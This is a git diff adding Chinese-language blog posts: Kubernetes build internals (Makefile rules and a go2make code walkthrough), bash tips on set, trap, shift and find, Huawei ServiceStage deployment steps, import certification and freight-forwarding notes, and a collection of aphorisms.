LC_ALL=C sort -u \ +) + +OPENAPI_OUTFILE := $(OPENAPI_OUTPUT_PKG)/$(OPENAPI_FILENAME) + +# This rule is the user-friendly entrypoint for openapi generation. +.PHONY: gen_openapi +gen_openapi: $(OPENAPI_OUTFILE) $(OPENAPI_GEN) + +# For each dir in OPENAPI_DIRS, this establishes a dependency between the +# output file and the input files that should trigger a rebuild. +# +# Note that this is a deps-only statement, not a full rule (see below for that). +# +# The '$(eval)' is needed because this has a different RHS for each LHS, and +# would otherwise produce results that make can't parse. +$(foreach dir, $(OPENAPI_DIRS), $(eval \ + $(OPENAPI_OUTFILE): $($(PRJ_SRC_PATH)/$(dir)) \ +)) + +# How to regenerate open-api code. This emits a single file for all results. +# The Make rule fails if generated API rule violation report differs from the checked-in +# violation file, and prints error message to request developer to fix either the API +# source code, or the known API rule violation file. +$(OPENAPI_OUTFILE): $(OPENAPI_GEN) $(KNOWN_VIOLATION_FILENAME) + ./hack/run-in-gopath.sh $(OPENAPI_GEN) \ + --v $(KUBE_VERBOSE) \ + --logtostderr \ + -i $$(echo $(addprefix $(PRJ_SRC_PATH)/, $(OPENAPI_DIRS)) | sed 's/ /,/g') \ + -p $(PRJ_SRC_PATH)/$(OPENAPI_OUTPUT_PKG) \ + -O $(OPENAPI_BASENAME) \ + -h $(BOILERPLATE_FILENAME) \ + -r $(REPORT_FILENAME) \ + "$$@"; \ + diff $(REPORT_FILENAME) $(KNOWN_VIOLATION_FILENAME) || \ + (echo -e $(API_RULE_CHECK_FAILURE_MESSAGE); exit 1) + + +# How to build the generator tool. The deps for this are defined in +# the $(GO_PKGDEPS_FILE), above. +# +# A word on the need to touch: This rule might trigger if, for example, a +# non-Go file was added or deleted from a directory on which this depends. +# This target needs to be reconsidered, but Go realizes it doesn't actually +# have to be rebuilt. In that case, make will forever see the dependency as +# newer than the binary, and try to "rebuild" it over and over. So we touch +# it, and make is happy. +$(OPENAPI_GEN): $(k8s.io/kubernetes/vendor/k8s.io/kube-openapi/cmd/openapi-gen) + KUBE_BUILD_PLATFORMS="" hack/make-rules/build.sh ./vendor/k8s.io/kube-openapi/cmd/openapi-gen + touch $@ + + +# bindata generation +# + +# The tool used to generate bindata files. +BINDATA_GEN := $(BIN_DIR)/go-bindata + +# A wrapper script that generates all bindata files. It is fast enough that we +# don't care. +BINDATA_SCRIPT := hack/generate-bindata.sh + +# This rule is the user-friendly entrypoint for bindata generation. +.PHONY: gen_bindata +gen_bindata: $(BINDATA_GEN) FORCE + ./hack/run-in-gopath.sh $(BINDATA_SCRIPT) + +# How to build the generator tool. The deps for this are defined in +# the $(BINDATA_GEN).mk, above. +# +# A word on the need to touch: This rule might trigger if, for example, a +# non-Go file was added or deleted from a directory on which this depends. +# This target needs to be reconsidered, but Go realizes it doesn't actually +# have to be rebuilt. In that case, make will forever see the dependency as +# newer than the binary, and try to rebuild it over and over. So we touch it, +# and make is happy. +$(BINDATA_GEN): $(k8s.io/kubernetes/vendor/github.com/jteeuwen/go-bindata/go-bindata) + KUBE_BUILD_PLATFORMS="" hack/make-rules/build.sh ./vendor/github.com/jteeuwen/go-bindata/go-bindata + touch $@ diff --git a/_posts/2019-06-20-429-k8s-bash-set.md b/_posts/2019-06-20-429-k8s-bash-set.md new file mode 100644 index 0000000..5b20182 --- /dev/null +++ b/_posts/2019-06-20-429-k8s-bash-set.md @@ -0,0 +1,25 @@ +--- +layout: post +title: Bash 脚本 set 命令教程 +pid: 429 +tags: [centos, linux, k8s] +--- + +set -o errexit + +发生错误，直接返回，不执行后续代码 + +set -o nounset + +变量没有赋值，直接返回，不执行后续代码 + +set -o pipefail + +管道发生错误，直接返回，不执行后续代码 + + + + +# 参考 + ++ [Bash 脚本 set 命令教程](http://www.ruanyifeng.com/blog/2017/11/bash-set.html) \ No newline at end of file diff --git a/_posts/2019-06-20-430-source-sh-bash.md b/_posts/2019-06-20-430-source-sh-bash.md new file mode 100644 index 0000000..d06143d --- /dev/null +++ b/_posts/2019-06-20-430-source-sh-bash.md @@ -0,0 +1,17 @@ +--- +layout: post +title: linux里source、sh、bash 有什么区别 +pid: 430 +tags: [centos, linux, k8s] +--- + +使用fork方式运行script时， 就是让shell(parent process)产生一个child process去执行该script，当child process结束后，会返回parent process，但parent process的环境是不会因child process的改变而改变的。 + +使用source方式运行script时， 就是让script在当前process内执行， 而不是产生一个child process来执行。由于所有执行结果均于当前process内完成，若script的环境有所改变， 当然也会改变当前process环境了。 + +使用exec方式运行script时， 它和source一样，也是让script在当前process内执行，但是process内的原代码剩下部分将被终止。同样，process内的环境随script改变而改变。 + + +# 参考 + ++ [linux里source、sh、bash、有什么区别](https://www.cnblogs.com/pcat/p/5467188.html) \ No newline at end of file diff --git a/_posts/2019-06-20-431-hack-lib-init.md b/_posts/2019-06-20-431-hack-lib-init.md new file mode 100644 index 0000000..d8f87d8 --- /dev/null +++ b/_posts/2019-06-20-431-hack-lib-init.md @@ -0,0 +1,8 @@ +--- +layout: post +title: k8s hack/lib/init.sh +pid: 431 +tags: [k8s] +--- + +详细内容，待整理！ \ No newline at end of file diff --git a/_posts/2019-06-21-432-run-in-gopath.md b/_posts/2019-06-21-432-run-in-gopath.md new file mode 100644 index 0000000..3c8956c --- /dev/null +++ b/_posts/2019-06-21-432-run-in-gopath.md @@ -0,0 +1,10 @@ +--- +layout: post +title: k8s run-in-gopath.sh +pid: 432 +tags: [k8s] +--- + + + +详细内容，待整理！ \ No newline at end of file diff --git a/_posts/2019-06-25-433-go2make.md b/_posts/2019-06-25-433-go2make.md new file mode 100644 index 0000000..ea897ff --- /dev/null +++ b/_posts/2019-06-25-433-go2make.md @@ -0,0 +1,199 @@ +--- +layout: post +title: k8s go2make +pid: 433 +tags: [k8s] +--- + +在编译k8s程序中，第一个被执行的go语言的程序是go2make。 + +这个程序的目的是将指定目录中的go文件罗列出来，方便后面使用。 + +这个程序解读的难点是： +1. 递归模式 +2. 内置函数 + + +# 调用方式 + +```shell +go2make k8s.io/kubernetes/... \ +--prune k8s.io/kubernetes/staging \ +--prune k8s.io/kubernetes/vendor \ +k8s.io/kubernetes/vendor/k8s.io/... \ +github.com/jteeuwen/go-bindata/go-bindata/... +``` + +# 程序执行顺序 + + +```go +func main() { + for _, in := range pflag.Args() { + if strings.HasSuffix(in, "/...") { + // Recurse. + debug("starting", in) + pkgName := strings.TrimSuffix(in, "/...") + if err := WalkPkg(pkgName, visitPkg); err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(1) + } + } else { + // Import one package. + if err := saveImport(in); err != nil { + fmt.Fprintln(os.Stderr, err) + os.Exit(2) + } + } + } +} +``` + +如果参数含有三个点，则执行上面的if，如果不包含则执行下面的语句。 + + +```go +func WalkPkg(pkgName string, visit VisitFunc) error { + // Visit the package itself. + pkg, err := findPackage(pkgName) //找到Package的信息 + if err != nil { + return err + } + if err := visit(pkg.ImportPath, pkg.Dir); err == ErrSkipPkg { //浏览实际目录中Go文件列表 + return nil + } else if err != nil { + return err + } + + // Read all of the child dirents and find sub-packages. + infos, err := readDirInfos(pkg.Dir) // 找出当前目录下所有的子目录 + if err != nil { + return err + } + for _, info := range infos { + if !info.IsDir() { + continue + } + name := info.Name() + if name[0] == '_' || (len(name) > 1 && name[0] == '.') || name == "testdata" { + continue + } + // Don't use path.Join() because it drops leading `./` via path.Clean(). + err := WalkPkg(pkgName+"/"+name, visit) //嵌套递归这个子目录 + if err != nil { + return err + } + } + return nil +} +``` + +1. visit(pkg.ImportPath, pkg.Dir) 查找当前目录下面的Go文件 +2. WalkPkg(pkgName+"/"+name, visit) 递归调用当前目录下面的子目录 + + +```go +func visitPkg(importPath, absPath string) error { + debug("visit", importPath) + return saveImport(importPath) +} +``` + +```go +func saveImport(pkgName string) error { + if cache[pkgName] != nil { + return nil + } + if prune(pkgName) { //目录是需要排除的，则退出 + debug("prune", pkgName) + return ErrSkipPkg + } + pkg, err := loadPackage(pkgName) //加载package信息 + if err != nil { + return err + } + debug("save", pkgName) + cache[pkgName] = pkg + + debug("recurse", pkgName) + defer func() { debug("done ", pkgName) }() + if !pkg.Goroot && (len(pkg.GoFiles)+len(pkg.Imports) > 0) { //Root目录下面的不用管 + // Process deps of this package before the package itself. + for _, impName := range pkg.Imports { + if impName == "C" { + continue + } + debug("depends on", impName) + saveImport(impName) //通过importName嵌套调用 + } + + // Emit a variable for each package. + var buf bytes.Buffer //准备要输出的信息 + buf.WriteString(pkgName) + buf.WriteString(" := ") + + // Packages depend on their own directories, their own files, and + // transitive list of all deps' directories and files. + all := map[string]struct{}{} + all[pkg.Dir+"/"] = struct{}{} + filesForPkg(pkg, all) //将当前pkg中的文件添加到all中去 + for _, imp := range pkg.Imports { + pkg := cache[imp] + if pkg == nil || pkg.Goroot { + continue + } + all[pkg.Dir+"/"] = struct{}{} + filesForPkg(pkg, all) //将pkg.Imports对应的目录下的file添加到all中 + } + // Sort and de-dup them. + files := flatten(all) //变成字符串数组，并排序 + for _, f := range files { //循环写入Buffer + buf.WriteString(" \\\n ") + buf.WriteString(f) + } + + fmt.Println(buf.String()) //打印到输出窗口 + } + return nil +} +``` + +```go +// 加载package信息 +func loadPackage(pkgName string) (*build.Package, error) { + debug("load", pkgName) + pkg, err := build.Import(pkgName, getwd(), 0) + if err != nil { + // We can ignore NoGoError. Anything else is real. + if _, ok := err.(*build.NoGoError); !ok { + return nil, err + } + } + return pkg, nil +} +``` + +```go + //将所有的文件添加到all中去 +func filesForPkg(pkg *build.Package, all map[string]struct{}) { + for _, file := range pkg.GoFiles { + if pkg.Dir != "." { + file = pkg.Dir + "/" + file + } + all[file] = struct{}{} + } +} +``` + +```go +//将之前的map变成字符串数组，并排序 +func flatten(all map[string]struct{}) []string { + list := make([]string, 0, len(all)) + for k := range all { + list = append(list, k) + } + sort.Strings(list) + return list +} +``` + diff --git a/_posts/2019-06-27-434-shift.md b/_posts/2019-06-27-434-shift.md new file mode 100644 index 0000000..84b83fa --- /dev/null +++ b/_posts/2019-06-27-434-shift.md @@ -0,0 +1,43 @@ +--- +layout: post +title: shift +pid: 434 +tags: [linux] +--- + +示例1 + +```shell +until [ $# -eq 0 ] +do +echo "参数: $1 参数个数: $#" +shift +done +``` + +结果 + +```shell +[root@localhost ~]# sh script.sh 1 2 3 4 +参数: 1 参数个数: 4 +参数: 2 参数个数: 3 +参数: 3 参数个数: 2 +参数: 4 参数个数: 1 +``` + +示例2 + +```shell +if [ $# -eq 0 ] +then +echo "Usage: demo" +exit 1 +fi +sum=0 +until [ $# -eq 0 ] +do +sum=`expr $sum + $1` +shift +done +echo "sum is: $sum" +``` \ No newline at end of file diff --git a/_posts/2019-06-27-435-trap.md b/_posts/2019-06-27-435-trap.md new file mode 100644 index 0000000..e82de84 --- /dev/null +++ b/_posts/2019-06-27-435-trap.md @@ -0,0 +1,45 @@ +--- +layout: post +title: trap +pid: 435 +tags: [linux] +--- + +# shell示例 + +```shell +trap -p +trap "echo hello" INT //设置 +trap -p +trap -p INT +trap -p QUIT +Ctrl+C //触发命令 +trap -l //查看信号列表 +trap - INT //要重置 trap +``` + +# 常见信号 + ++ SIGHUP：从终端终止或退出正在前台运行的进程 ++ SIGINT：从键盘按下 Ctrl-C ++ SIGQUIT：从键盘按下 Ctrl-\ ++ SIGTERM ：软件终止信号 + +# 常见操作 + ++ 清除文件 ++ 提示用户是否应当终止脚本 ++ 忽略该信号 ++ 进行处理 + +# bash常见用法 + +```shell +CACHE="$1"; +trap "rm -f '${CACHE}'" HUP INT TERM ERR +``` + + +# 参考 + ++ [在脚本中使用 trap](https://www.ibm.com/developerworks/cn/aix/library/au-usingtraps/index.html) \ No newline at end of file diff --git a/_posts/2019-06-27-436-find.md b/_posts/2019-06-27-436-find.md new file mode 100644 index 0000000..afb988d --- /dev/null +++ b/_posts/2019-06-27-436-find.md @@ -0,0 +1,52 @@ +--- +layout: post +title: find +pid: 436 +tags: [linux] +--- + + +# 按照文件大小查找文件 + +```shell +find / -type f -size +20M -print0 | xargs -0 du -h | sort -nr +``` + + +## type 查找某一类型的文件 + ++ b 块设备文件。 ++ d 目录。 ++ c 字符设备文件。 ++ p 管道文件。 ++ l 符号链接文件。 ++ f 普通文件 + +## size + ++ b 块（512字节） ++ c 字节 ++ w 字（2字节） ++ k 千字节 ++ M 兆字节 ++ G 吉字节 + +# 示例2 + +```shell +find -H . \ + \( \ + -not \( \ + \( \ + -path ./vendor -o \ + -path ./_\* -o \ + -path ./.\* -o \ + -path ./docs \ + \) -prune \ + \) \ + \) \ + "$@" \ + | sed 's|^./staging/src|vendor|' +``` + +请一定按照上面换行的方式来写，合成一行的方式，屡次尝试，都失败！ \ No newline at end of file diff --git a/_posts/2019-07-01-437-motto.md b/_posts/2019-07-01-437-motto.md new file mode 100644 index 0000000..88c7290 --- /dev/null +++ b/_posts/2019-07-01-437-motto.md @@ -0,0 +1,174 @@ +--- +layout: post +title: 知乎上40个有趣回复，很精辟 +pid: 437 +tags: [哲学] +--- + +Q: 交朋友的标准是什么？ + +A: 出世的智者，入世的强者，或者正常而阳光的普通人。 + +Q: 有哪些可以令人清醒的句子？ + +A: 你多学一样本事，就少说一句求人的话。 + +Q: 做哪些事情可以提升生活品质？ + +A: 定期扔东西。 + +Q: 结婚以后两个人在一起最重要的是什么？ + +A: 就当这婚还没结。 + +Q: 把学费拿来念书还是环游世界更合适？为什么？ + +A: 在没有充分的知识作为前提的情况下，即使行了万里路，也不过是邮差而已。 + +Q: 你是如何强迫自己不断学习提升的？ + +A: 看过更大的世界后，就再也不甘心留在原地。不甘心就是动力。 + +Q: 你对自由的理解是什么？ + +A: 说“不”的能力。 + +Q: 你是如何走出人生的阴霾的？ + +A: 多走几步。 + +Q: 哪些技能，经较短时间的学习，就可以给人的生活带来巨大帮助？ + +A: 夸奖他人。 + +Q: 我读过很多书，但后来大部分都被我忘记了，那阅读的意义是什么？ + +A: 当我还是个孩子的时候，我吃过很多食物，现在已经记不起来吃过什么了。但可以肯定的是，它们中的一部分已经长成为我的骨头和肉。 + +Q: 要怎样努力，才能成为很厉害的人？ + +A: 如果你注定要成为厉害的人，那问题的答案就深藏在你的血脉里；如果你注定不是厉害的人，那你便只需要做好你自己。 + +Q: 你在生活中得到过的最好的建议是什么？ + +A: “永远不要为尚未发生的事儿拧巴”、“觉得为时已晚，恰恰是最早的时候”。 + +Q: 前半生与后半生的分界线是在哪里？ + +A: 此时此刻。 + +Q: 同样是别人比自己强，为什么有时会产生嫉妒心理，而有时会产生崇拜？ + +A: 远的崇拜，近的嫉妒；够不着的崇拜，够得着的嫉妒；有利益冲突的嫉妒，没利益冲突的崇拜。 + +Q: 如何让这个世界变得美好？ + +A: 把你自己变得更美好。 + +Q: 二十六岁，工作三年却将留学三年，值得吗？ + +A: 普通玩家选择标准配置，高端玩家选择自定义配置。 + +Q: 世界上有那么多好书好电影注定看不完，我们对这个事实该持何种态度？ + +A: 怕什么真理无穷，进一寸有一寸的欢喜。 + +Q: 听过最落寞的一句话或诗句是什么？ + +A: 不如意事常八九，可与言者无二三。 + +Q: 人这一生为什么要努力？ + +A: 最痛苦的事，不是失败，是我本可以。 + +Q: 省钱的好办法有哪些？ + +A: 在买任何东西之前牢记九字箴言：你喜欢，你需要，你适合。 + +PS：适用于很多事，包括感情也一样。 + +Q: 哪一段话让你有醍醐灌顶的感觉？ + +A: 人会长大三次。 + +第一次是在发现自己不是世界中心的时候。 + +第二次是在发现即使再怎么努力，终究还是有些事令人无能为力的时候。 + +第三次是在，明知道有些事可能会无能为力，但还是会尽力争取的时候。 + +Q: 哪些行为是浪费时间？ + +A: 思而不学＋犹豫不决 + +Q: 如果好人不一定得到好报，那我们为什么还要做好事？ + +A: 我们坚持一件事情，并不是因为这样做了会有效果，而是坚信，这样做是对的。 + +Q: 如何看待“年轻的时候需要的是朋友而不是人脉”？ + +A: 没有目的之交往，才能感动人。 + +Q: 有哪些道理是你读了不信、听不进去，直到你亲身经历方笃信不疑的？ + +A: 不要低估你的能力，不要高估你的毅力。 + +Q: 最能燃起你学习激情的一句话是什么？ + +A: 你不能把这个世界，让给你所鄙视的人。 + +Q: 你心中的完美爱情是怎么样的？ + +A: 可以有不完美。 + +Q: 怎样才能做到不在乎别人骂？ + +A: 你要相信，比你优秀的人基本没空骂你。 + +Q: 什么叫见过大世面？ + +A: 能享受最好的，能承受最坏的。 + +Q: 为什么当看到好照片时人们通常的反应是“真不错，你用的是什么相机”当看到烂照片时，则往往笑话拍摄者水平很臭？ + +A: 人习惯性地将自己的成功归因于自身，失败归因于环境；而将他人的成功归因于环境，失败归因于其自身。 + +Q: 如何反驳“现实点，这个社会就是这样”？ + +A: “你是怎样，你的世界就是怎样。” + +Q: 如何让感情保持新鲜感？ + +A: 所谓新鲜感，不是和未知的人一起去做同样的事情，而是和已知的人一起去体验未知的人生。 + +Q: 情商不高的例子有哪些？ + +A: 对陌生人毕恭毕敬，对亲近的人随意发怒。 + +Q: 三十岁才开始学习编程，靠谱吗？ + +A: 种一棵树最好的时间是十年前，其次是现在。 + +Q: 怎样在有效提出推荐或建议的同时，避免给人灌输和强迫的感觉？ + +A: 说服他人不要诉诸理性，应求于利益。 + +Q: 在一个足够小的星球上行走，我们是在上坡还是下坡？ + +A: 你感觉累就是上坡，感觉轻松就是下坡。 + +Q: 你遇到过哪些让你眼前一亮、醍醐灌顶或对你改变很大的理念？ + +A: 天赋决定了你能达到的上限，努力程度决定了你能达到的下限。以绝大多数人的努力程度之低，远远没有达到要去拼天赋的地步。 + +Q: 扎克伯格初期是怎么保护Facebook的最初创意？为什么Facebook上线后没被其他大公司抄走? + +A: 保护创意的最好方法，就是 —— 将其最好地执行。 + +Q: 如何看待“年轻时就释怀与淡泊，是没有希望的”这句话？ + +A: 试图用一句话就来总结复杂的人生，是没有希望的。 + +Q: 异国长期生活，改变了你的哪些“是非观”？ + +A: 很多事情，只是不同，并无是非。 \ No newline at end of file diff --git a/_posts/2019-07-01-438-3c.md b/_posts/2019-07-01-438-3c.md new file mode 100644 index 0000000..eef7ab7 --- /dev/null +++ b/_posts/2019-07-01-438-3c.md @@ -0,0 +1,51 @@ +--- +layout: post +title: 3C从国外进口回来要怎么要做？ +pid: 438 +tags: [货代] +--- + +“中国强制认证”(英文名称为China Compulsory Certification ) ，其英文缩写为“CCC”，故又简称“3C”认证。 + +3C标志并不是质量标志，而只是一种最基础的安全认证。 + +现在由于全球中，只有中国才有CCC认证标准以及能效。所以很多涉及CCC的货物进口到中国的时候是完全没办法进口，因为中国商检局要求提供CCC证书以及能效标识。除非是在国内有设立工厂和国内申请CCC证书。 + +3C单证是在报检的时候商检局必查看的单证，没有这一单证就无法做检，自然也就无法报关。在办理CCC产品进口清关的时候，客户最难提供的是3C这一单证，绝大部分外国客户提供不了的，这也之所以绝大部分报关公司不能接受这些货物的进口报关。 + +打印机、灯具灯饰品、电器、咖啡机、音响、电缆、开关、洗衣机、空调、汽车配件、玩具、空气净化器、瓷砖、厨师机、过滤器等等CCC产品的进口口岸一般建议选择香港口岸作为中转或者发到上海操作，因为进口需要CCC强制认证，很多进口企业没有能力办理或备案申请流程较慢，在此情形之下，一般是选择香港中专，在香港办理进口手续申办，这样效率比较快，可以达到顺利进口需求。到上海港口来操作，可以再陆地口岸以及上海操作强制性3C的进口。 + +3C是如何处理？ + +首先，3C是有分免3C、3C目录外、强制性3C等的区分。一般强制性3C是指带A的法检货物同时又在3C认证之内的。这个正常来说就是需要3C证书才能进口。如果没有的话只能通过特殊渠道进口。 + +另外办理免3C所需资料 + ++ 免办3C认证申请书 ++ 免办3C认证情况说明、免于办理3C认证证明申请延期书 ++ 营业执照复印件 ++ invoice复印件 ++ 装箱单复印件、运单复印件 ++ 预录入报关单复印件 ++ 技术资料或产品的说明书（其中要包括申请免3C产品的彩色照片） ++ 委托书 ++ 产品安全符合性声明、填写范例：免办3C认证所需文件《产品安全符合性声明》 + +备注：上述的操作方法是一般贸易进口，不同于灰清，基本都是按照票收取，以及存在税金。实用于操作柜货或者货值高，或者要求无风险性的客户。 + +--- +案例 + +3C认证的全称为“强制性产品认证制度”，它是中国政府为保护消费者人身安全和国家安全、加强产品质量管理、依照法律法规实施的一种产品合格评定制度。所谓3C认证，就是中国强制性产品认证制度。 + +近日，深圳海关工作人员在对某企业从中国香港进口的开关、保险丝、微型开关等电子元件进行查验时发现，保险丝工作电压小于1000V，对应《强制性产品认证目录描述与界定表》属于小型熔断器的管状熔断体（0207），符合该类别中“适用于印制电路用并且用来保护户内使用的电气装置、电子设备和其中元件的超小型熔断体”的描述，判定该保险丝属于强制性产品目录内产品，但企业不能提供该保险丝的《中国强制性产品认证证书》，且未办理《免于办理强制性产品认证证明》。对此，海关工作人员判定该批保险丝CCC入境验证不合格，不得入境销售及使用。 + +深圳海关工作人员要求该企业立即停止销售及使用该批保险丝。并根据企业以进料加工方式进口、成品再出口的情况，建议企业申请《免于办理强制性产品认证证明》，在办理该证明后方可进口该批货物。凡是列入3C认证目录中的产品必须要通过3C认证后才能在国内市场上销售以及盈利性活动中使用目录中的产品，没有通过认证的在国内市场上销售，监督部门查到会处以5-20万的罚款。 + + + +# 参考 + ++ [3C从国外进口回来要怎么要做？](https://zhuanlan.zhihu.com/p/32215668) ++ [3C认证](https://baike.baidu.com/item/3C%E8%AE%A4%E8%AF%81) ++ [3C认证目录及3C认证范围索引](https://zhuanlan.zhihu.com/p/25599623) \ No newline at end of file diff --git a/_posts/2019-07-05-439-sed.md b/_posts/2019-07-05-439-sed.md new file mode 100644 index 0000000..a1e9693 --- /dev/null +++ b/_posts/2019-07-05-439-sed.md @@ -0,0 +1,8 @@ +--- +layout: post +title: sed +pid: 439 +tags: [linux] +--- + +xx diff --git a/_posts/2019-07-09-440-ServiceStage.md b/_posts/2019-07-09-440-ServiceStage.md new file mode 100644 index 0000000..37e34cc --- /dev/null +++ b/_posts/2019-07-09-440-ServiceStage.md @@ -0,0 +1,96 @@ +--- +layout: post +title: 一键式搭建开发环境 +pid: 440 +tags: [servicestage, k8s, 微服务] +--- + +有幸参加《华为云开发者沙龙》，接触到ServiceStage相关的内容，现将相关内容整理如下： + ++ [什么是ServiceStage？](https://support.huaweicloud.com/productdesc-servicestage/ss_productdesc_0001.html) + +# 步骤如下 + ++ 打开[huaweicloud](https://www.huaweicloud.com)并进行实名认证 ++ 打开[ServiceStage](https://console.huaweicloud.com/servicestage) ++ 点击持续交付，工程，创建云上工程 ++ 选择基于模板创建 ++ 选择语言 Java 8 ++ 选择框架 CSE-Java(SpringMVC) ++ 选择部署系统 云容器引擎CCE ++ 填写配置信息 + + 项目名称： hellosz + + 代码来源： GitHub + + 用户名/组织： baoguoding + + 仓库名称： hellosz -- 代码仓库地址 + + 仓库组织： baoguo -- 镜像仓库地址 + + 部署集群：cc3-demoxxxxxx -- 实际部署的物理机或者虚拟机 + + 集群命名空间：default -- 默认，如果为了区分，可以放dev，uat等等 + + 高级配置 + + 设置访问方式 + + 服务名称：test + + 访问方式：公网 + + 访问类型：负载均衡 + + 端口映射： + + 容器端口： 8080 + + 访问端口： 12345 ++ 点击部署 + +在上面的步骤中，我们创建了 ++ 购买集群 + +![](/uploads/2019/07/09-01.png) + ++ K8S集群 CCE + +![](/uploads/2019/07/09-02.png) + ++ 负载均衡器 + +![](/uploads/2019/07/09-03.png) + ++ 云上工程 + +![](/uploads/2019/07/09-04.png) + ++ GitHub创建的源码 + +![](/uploads/2019/07/09-05.png) + +基本上，到了这一步，整个微服务的开发环境，就创建好了。 + +详细步骤及解释如下： +1. 根据脚手架工程生成hellosz项目 +2. 将代码推送到GitHub上面 +3. 将代码从Github上面pull到ServiceStage上面，创建了一个构建环境，并做了一个构建 +4. 打成jar包，再从jar打成docker的docker的镜像包 +5. 将镜像包推送到华为的镜像仓库中 +6. 通过容器部署系统，将镜像拉到容器集群中，进行部署。 +7. 同时还正常了一个构建任务，如下图： + +![](/uploads/2019/07/09-06.png) + +8. 还生成了一个流水线（发布），如下图： + +![](/uploads/2019/07/09-07.png) + +9. 我们可以到应用列表中查看应用 + +![](/uploads/2019/07/09-08.png) + +10. 验证一下是否发布成功 + +可以通过这个路径查看调用参数 + +基础设置\微服务引擎（CSE）\查看控制台\服务目录\hellosz\服务契约 + +http://122.112.159.12:12345/rest/helloworld?name=aaa + + + + +# 注意 + ++ K8S集群华为新用户，可以免费用3天 ++ [微服务上云实践](https://education.huaweicloud.com:8443/courses/course-v1:HuaweiX+CBUCNXV007+Self-paced/courseware/6e03d0b121bd441cb18966ffc326a92c/dbfb05beac1a4d06885258abe3bf13a5/) + diff --git a/_posts/2019-07-10-441-zdh.md b/_posts/2019-07-10-441-zdh.md new file mode 100644 index 0000000..409cfec --- /dev/null +++ b/_posts/2019-07-10-441-zdh.md @@ -0,0 +1,22 @@ +--- +layout: post +title: 自揽货与指定货的区别 +pid: 441 +tags: [货代] +--- + +你是船公司或是货运代理。 + +现在国内的A公司，要出口一批或到国外的B公司。 + +# 自揽货 + +A公司和B公司签订CIF或CFR合同出口，由国内的A公司租船订舱负责运输，A公司委托你们公司出运。那么这票货对你们来说就是自揽货。 + +# 指定货 + +如果A公司和B公司签订FOB合同出口，由国外的B公司租船订舱联系货运公司，最终B公司选择你们公司承运（也就是B公司指定你们这家货运公司），那这批货对你们来说就是指定货。 + +# 甩箱责任界定 + +自揽货甩箱，责任方是国内A公司；指定货甩箱，责任方是国外B公司。 \ No newline at end of file diff --git a/_posts/2019-07-10-442-value.md b/_posts/2019-07-10-442-value.md new file mode 100644 index 0000000..ad948a9 --- /dev/null +++ b/_posts/2019-07-10-442-value.md @@ -0,0 +1,26 @@ +--- +layout: post +title: 价值观 +pid: 442 +tags: [岗前培训] +--- + +四年多的实战，我们的价值观，如下： + ++ 独立思考（辩证思维） ++ 主动且有激情 ++ 定位CEO（主人翁意识） ++ 有效产出（TOC） ++ 同理心和大局观 ++ 勇于“打样” ++ 良好的人际沟通和团队协作 ++ 定期复盘、接受失败、持续尝试 ++ 全栈发展、不自我限定工作范围 ++ 终身寻找最佳实践 ++ 拥有正确的薪资观 ++ 按时休息、合理膳食 ++ 打卡（早8.30 ~ 晚5.30） ++ 6个月的试用期 + +靠谱：凡事有交代、件件有着落，事事有回音 + diff --git a/_posts/2019-07-10-443-c4p.md b/_posts/2019-07-10-443-c4p.md new file mode 100644 index 0000000..10ee56a --- /dev/null +++ b/_posts/2019-07-10-443-c4p.md @@ -0,0 +1,19 @@ +--- +layout: post +title: 合同种类与类型 +pid: 443 +tags: [mba] +--- + +合同种类与类型 + ++ 总价合同：偏向甲方，分为： + + 固定总价合同（FFP）：采购价格开始就确定，不允许修改，除非范围变更。 + + 总价加激励费用合同（FPIP）：有一定灵活性，对实现既定目标给予财务奖励 + + 总价加经济价格调整合同（FP-EPA）：周期长的合同 ++ 成本补偿合同：偏向乙方，分为： + + 成本加固定费用合同（CPFF）：为卖方报销一切可列支成本，并向卖方支付一笔百分比费用 + + 成本加激励费用合同（CPIF）：卖方达到合同规定绩效目标，支付预先确定的激励费用 + + 成本加奖励费用合同（CPAF）：买方判断决定奖励费用，乙方不允许申述 ++ 工料合同：中立，用于范围明确，工程量不确定，需要快速签合同的项目，开口合同 ++ 自制或外购分析：确定某个工作是团队自己完成还是外部采购 diff --git a/_posts/2019-07-11-445-weathermap.md b/_posts/2019-07-11-445-weathermap.md new file mode 100644 index 0000000..7a2d3b0 --- /dev/null +++ b/_posts/2019-07-11-445-weathermap.md @@ -0,0 +1,140 @@ +--- +layout: post +title: 最佳实践：容器部署weathermap +pid: 445 +tags: [servicestage, k8s, 微服务] +--- + +# 创建后台应用构建任务 + ++ 登录ServiceStage，选择“持续交付 > 构建”，单击“基于源码构建”。 ++ 基本信息 + + 名称： weathermap + + 源代码来源： Github + + 命名空间：baoguoding + + 仓库名称：weathermap + + 分支：master + + 构建集群 + + 构建集群：cce-demoxxxxxx ++ 环境配置 + + 编译 + + Maven + + 任务名称：Maven-bjbr78 + + POM文件目录：./ + + Goals & Options：clean package + + JDK版本：JDK8 + + Docker + + Dockerfile地址：./weather-beta/ + + 镜像名称：weather-beta + + Docker + + Dockerfile地址：./weather/ + + 镜像名称：weather + + Docker + + Dockerfile地址：./forecast/ + + 镜像名称：forecast + + Docker + + Dockerfile地址：./fusionweather/ + + 镜像名称：fusionweather + + 归档 + + 将上面的编译，归档 ++ 构建完成后，结果如下图 + +![](/uploads/2019/07/11-01.png) + +![](/uploads/2019/07/11-02.png) + +# 创建前台应用构建任务 ++ 登录ServiceStage，选择“持续交付 > 构建”，单击“基于源码构建”。 ++ 基本信息 + + 名称： weathermapweb + + 源代码来源： Github + + 命名空间：baoguoding + + 仓库名称：weathermap + + 分支：master + + 构建集群 + + 构建集群：cce-demoxxxxxx ++ 环境配置 + + 编译 + + Docker + + Dockerfile地址：./weathermapweb/ + + 镜像名称：weathermapweb + + 镜像版本：latest + + 归档 + + 将上面的编译，归档 ++ 构建完成后，结果如上图 + +# 创建后台应用 + ++ 选择“应用管理 > 应用列表”，单击“创建应用”。 ++ 选择“ServiceComb应用”，然后单击“创建应用”。 ++ 基本信息 + + 运行环境： Docker + + 实例数量: 1 + + + + + + + + +
应用名称选择镜像环境变量TCP/UDP路由配置
weatherweather否否
weather-betaweather-beta否否
forecastforecast否否
fusionweatherfusionweather否 +应用创建成功后，在“应用列表”页单击“fusionweather”，进入应用详情页。 +
+选择“访问方式”页签。 +
++ 单击“TCP/UDP路由配置”区域的“添加服务”。
++ “服务名称”建议填写fusion。
++ “访问方式”选择“集群内访问”。
++ “协议”选择TCP。
++ “容器端口”填写13092。
++ “访问端口”请自行填写，但请保证该端口未被占用，建议与容器端口相同。 + +
